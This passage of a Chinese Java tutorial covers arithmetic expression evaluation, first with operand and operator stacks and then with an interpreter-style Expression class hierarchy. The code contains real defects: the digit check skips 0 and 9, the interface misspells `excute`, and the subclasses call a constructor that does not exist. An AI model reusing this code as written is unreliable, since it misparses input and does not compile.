in.append(input);
while (in.length() > 0) {
char temp = in.charAt(0);
in.delete(0, 1);
if (temp > '0' && temp < '9') {
number.append(temp);
} else {
if (!"".equals(number.toString())) {
int num = Integer.parseInt(number.toString());
numStack.push(num);
number.delete(0, number.length());
}
while (!opeStack.isEmpty() && !compare(temp)) {
int num2 = numStack.pop();
int num1 = numStack.pop();
char ope = opeStack.pop();
cal0(ope,num1,num2);
}
opeStack.push(temp);
}
}
if(number.length()>0){
int num = Integer.parseInt(number.toString());
numStack.push(num);
}
while(!opeStack.isEmpty()){
int num2= numStack.pop();
int num1= numStack.pop();
cal0(opeStack.pop(),num1,num2);
}
return numStack.pop();
}
// 根据操作符计算两数运算结果
public static void cal0(char ope,int num1 ,int num2){
switch (ope) {
case '+':
numStack.push(num1 + num2);
break;
case '-':
numStack.push(num1 - num2);
break;
case '*':
numStack.push(num1 * num2);
break;
case '/':
numStack.push(num1 / num2);
break;
}
}
// 比较操作符优先级
public static boolean compare(char operation) {
char last = opeStack.peek();
switch (operation) {
case '+':
return false;
case '-':
return false;
case '*':
if (last == '+' || last == '-')
return true;
return false;
case '/':
if (last == '+' || last == '-')
return true;
return false;
default:
return false;
}
}
}
</code></pre>
<p>这种方式实则通过堆栈来实现对表达式的解析和运算,且这两部分是同步进行的。</p>
<h3 id="场景3">场景3:</h3>
<p>小王表示他有时候会复用特定的运算模式,例如计税、计价等,会重复按照同一个计算过程对不同入参进行计算,例如“5*8+1”、“2*7+3”、“4*2+5”……。<br>
此时,前面的方案虽然可用,但是相同计算模式时,每次调用依然会重复构造操作数栈、操作符栈等,效率并不高。<br>
张三急需<strong>更先进的轮子</strong>。</p>
<h2 id="更先进的轮子">更先进的轮子</h2>
<p>我们可以看到此时场景2已经无法满足功能要求了。场景2的解决方案所用的思维方式是面向过程的,而面向过程很少有复用和建模,因此从根本上它解决不了场景3的问题。</p>
<p>自然而然,我们想到了可以公式化输入,将计算过程分为两步:</p>
<ol>
<li>导入“?*?+?”这样的公式;</li>
<li>传入(5,8,1)进行填充并获得计算结果。<br>
目前要解决问题的第一步是将“?+?*?”这样的表达式(Expression)进行存储,并要考虑它们的计算顺序和优先级。</li>
</ol>
<p>我们先定义一个接口,命名为Expression:</p>
<pre><code class="language-java">public interface Expression {
//计算该表达式的值
double excute();
}
</code></pre>
<p>而我们注意到,最终计算的表达式中将会存在数字和操作符两种“符号”,而我们可以根据它们的特点定义两种表达式:</p>
<ol>
<li>对于数字,它的计算值就是本身;</li>
<li>对于操作符,由于它不能单独存在,所以它至少需要两个子表达式;而它的计算值需要先计算左右两个表达式的值,再按照自身符号进行运算。例如对于1+2*3中的“+”,它需要先计算1,再计算2*3,最后计算本身。</li>
</ol>
<p>数字表达式定义:</p>
<pre><code class="language-java">public class NumExpression implements Expression{
private double value;
public double execute() {
return this.value;
}
public void setValue(double value) {
this.value = value;
}
}
</code></pre>
<p>操作符表达式抽象类定义:</p>
<pre><code class="language-java">public abstract class OptExpression implements Expression {
protected OptExpression parent;
protected Expression left;
protected Expression right;
public void setLeft(Expression left) {
this.left = left;
}
public void setRight(Expression right) {
this.right = right;
}
public void setParent(OptExpression parent) {
this.parent = parent;
}
}
</code></pre>
<p>各个运算符表达式类定义:</p>
<pre><code class="language-java">public class AddExpression extends OptExpression {
AddExpression(Expression left, Expression right) {
super(left, right);
}
public double execute() {
return super.left.execute()+this.right.execute();
}
}
public class SubExpression extends OptExpression {
SubExpression(Expression left, Expression right) {
super(left, right);
}
public double execute() {
return super.left.execute()-this.right.execute();
}
}
public class MulExpression extends OptExpression {
MulExpression(Expression left, Expression right) {
super(left, right);
}
public double execute() {
return super.left.execute()*this.right.execute();
}
}
public class DivExpression extends OptExpression {
DivExpression(Expression left, Expression right) {
super(left, right);
}
public double execute() {
return super.left.execute()/this.right.execute();
}